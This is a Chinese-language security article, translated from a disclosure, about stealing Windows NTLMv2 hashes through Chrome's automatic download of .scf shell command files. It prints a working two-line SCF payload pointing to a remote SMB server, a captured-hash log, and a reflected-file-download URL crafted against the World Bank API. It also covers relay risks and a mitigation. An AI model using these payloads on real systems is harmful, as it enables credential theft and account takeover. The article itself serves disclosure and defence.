
寫在前面的話
利用Windows操作系統的SMB文件共享協議來竊取身份憑證的攻擊技術長久以來都一直存在,這是一個難以避免的問題。雖然這種技術有多種實現方式,但大多都局限于本地網絡內。在過去的十多年里,還沒有人公開演示過針對瀏覽器(除了IE和Edge之外)的SMB認證攻擊,但是在這篇文章中我們將介紹一種Windows憑證竊取攻擊,這種技術會影響目前最流行的Web瀏覽器-ChromeChrome(默認配置下),以及支持該瀏覽器的所有Windows版本。
問題描述
在默認配置下,Chrome瀏覽器會自動下載它認為安全的文件,而且不會提示用戶選擇文件的存儲位置(使用的是預設地址)。從安全的角度來看,這個功能是存在問題的,但如果惡意文件想要運行的話,還是需要用戶手動點擊“打開/運行”按鈕才可以。不過,如果下載下來的文件不需要用戶交互就能夠執行惡意操作的話,那又該怎么辦呢?真的有哪一類文件可以做到這一點嗎?
Windows資源管理器Shell命令文件(.scf文件)是一種鮮為人知的文件類型,可以追溯到Windows98。可能只有Windows98/Me/NT/2000/XP用戶可能遇到過這種文件,當時它主要用來顯示桌面快捷方式。它本質上是一種文本文件,其中有一部分可以確定一段需要運行的命令(僅限于運行資源管理器和切換桌面)和一個圖標文件的位置。下面是一個SCF文件的內容示例:
[Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop
隨著Windows快捷方式LNK文件的誕生,當文件顯示在資源管理器中時,圖標地址會進行自動解析。將圖標地址指向一臺遠程SMB服務器已經是眾所周知的攻擊向量了,這種技術利用了Windows在訪問遠程文件服務時的自動化身份驗證功能。但是從攻擊的角度來看,LNK和SCF之間的區別在哪里呢?自從 震網病毒 出現之后,Chrome會強制將LNK文件的后綴名改為.download,但SCF文件并沒有得到相同的待遇。
因此,我們可以利用一個僅含兩行代碼的SCF文件來欺騙Windows系統:
[Shell] IconFile=\\170.170.170.170\icon
文件下載完成之后,當用戶在Windows資源管理器中打開下載目錄的那一瞬間,請求就會被觸發,隨后文件便會被刪除。整個過程根本不需要用戶點擊或打開下載文件,因為Windows資源管理器會自動嘗試獲取“icon”(圖標)內容。攻擊者所設置的遠程SMB服務器隨時準備著捕獲目標用戶的用戶名以及NTLMv2密碼哈希,他們可以將這些數據用于離線破解或偽造用戶身份并訪問在線服務(SMB中繼攻擊)。捕獲到的信息大致如下:
[*] SMB Captured - 2017-05-15 13:10:44 +0200 NTLMv2 Response Captured from 173.203.29.182:62521 -173.
203.29.182USER:Bosko DOMAIN:Master OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:98daf3
9c3a253bbe4a289e7a746d4b24NT_CLIENT_HALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000
0020000000000000000000000 Bosko::Maste5667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f8
3e06fcdd201ccf26d91cd9e326e0000000
002000000000000000000000
上面這個例子泄漏了目標用戶的用戶名、所在域(Domain)、以及NTLMv2密碼哈希。
需要注意的是,無論你的系統設置如何,SCF文件在Windows資源管理器中都不會顯示其后綴名(.scf)。因此,類似picture.jpg.scf這樣的文件名在Windows資源管理器中顯示的就是picture.jpg。因此,這也使得利用SCF文件的攻擊活動更加難以被發現了。

影響
密碼泄漏
對于企業和政府用戶來說,密碼泄漏將有可能導致內網提權和數據泄漏等風險出現。對于使用了微軟賬號(MSA)而非本地賬號的Windows8/10的用戶來說,密碼泄漏將會影響用戶所有的微軟服務,例如OneDrive、Outlook.com、Office365、Office Online、Skype、以及Xbox Live等等。與此同時,密碼重用等問題還會導致更多的賬號發生泄漏。
從密碼破解的可行性方面來說,近些年來,基于GPU的密碼破解技術得到了巨大的發展。現在,一張Nvidia GTX 1080的計算能力約為1600MH/s,即每秒可計算16億哈希值。對于一個長度為8個字符的密碼,一臺配備了四塊GTX1080的密碼破解機可以在不到一天時間里遍歷整個密碼空間(包括大小寫字母+常用特殊字符(!@#$%&))。
SMB中繼攻擊
像Microsoft Exchange(或Outlook)這種允許遠程訪問的以及使用NTLM作為身份驗證方法的服務將有可能受到SMB中繼攻擊,攻擊者將能夠偽裝成受害者來訪問用戶的數據,而且還不用破解用戶的密碼。Jonathan Brossard在BlackHat黑客大會上已經向全世界演示過這種方法了,感興趣的同學可以觀看這個演示視頻【 傳送門 】。在某些特殊情況下,攻擊者甚至還可以在中繼攻擊的幫助下,利用竊取來的證書入侵目標網絡,并獲取內部網絡的訪問權。
針對SCF的反病毒產品
當瀏覽器無法提示這方面的安全風險時,我們只能指望其他的安全解決方案能夠保護我們的安全了。于是我們對當前領先的安全解決方案進行了測試,以確定它們是否能夠識別這類惡意下載文件。但不幸的是,所有測試產品都無法將這類文件標記為可疑對象。不過,想要識別出可疑的SCF文件其實也并不難,我們只要檢查文件中的IconFile參數所指向的地址就可以了,所以我們希望廠商在將來能夠增加這種檢測機制。
反射文件下載(RFD)攻擊
注:這種攻擊技術最早是由OrenHafif發現的,感興趣的同學可以參考這篇文章【 參考資料】。
由于SCF格式比較簡單,而我們的攻擊只需要兩行代碼,而且可定制程度較高,因此它也非常適用于RFD攻擊。
RFD通常針對的是RESTfulAPI節點,因為它們通常允許我們在URL路徑中設置文件的擴展名。Chrome不會直接下載API響應內容類型,因此我們需要在“href=”屬性中添加下載鏈接來強制瀏覽器完成下載。
我們以WorldBankAPI為例進行演示:
http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=
%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
由于字符“%0B”無法打印出來,因此Chrome將會自動將響應內容下載并保存為iwantyourhash.scf文件。當保存這個文件的下載目錄被打開之后,Windows將會嘗試與遠程SMB服務器進行身份驗證,并暴露目標用戶的認證哈希。
緩解方案
為了防止這種通過SCF文件所進行的NTLMv2憑證竊取攻擊,我們可以通過下列方法禁用Chrome瀏覽器的自動下載功能:設置->顯示高級設置->勾選“在下載之前詢問保存文件路徑”選項。除此之外,我們也希望谷歌能夠在將來的Chrome瀏覽器版本中解決這個問題。
* 參考來源: helpnetsecurity , FB小編Alpha_h4ck編譯,轉載請注明來自FreeBuf.COM
|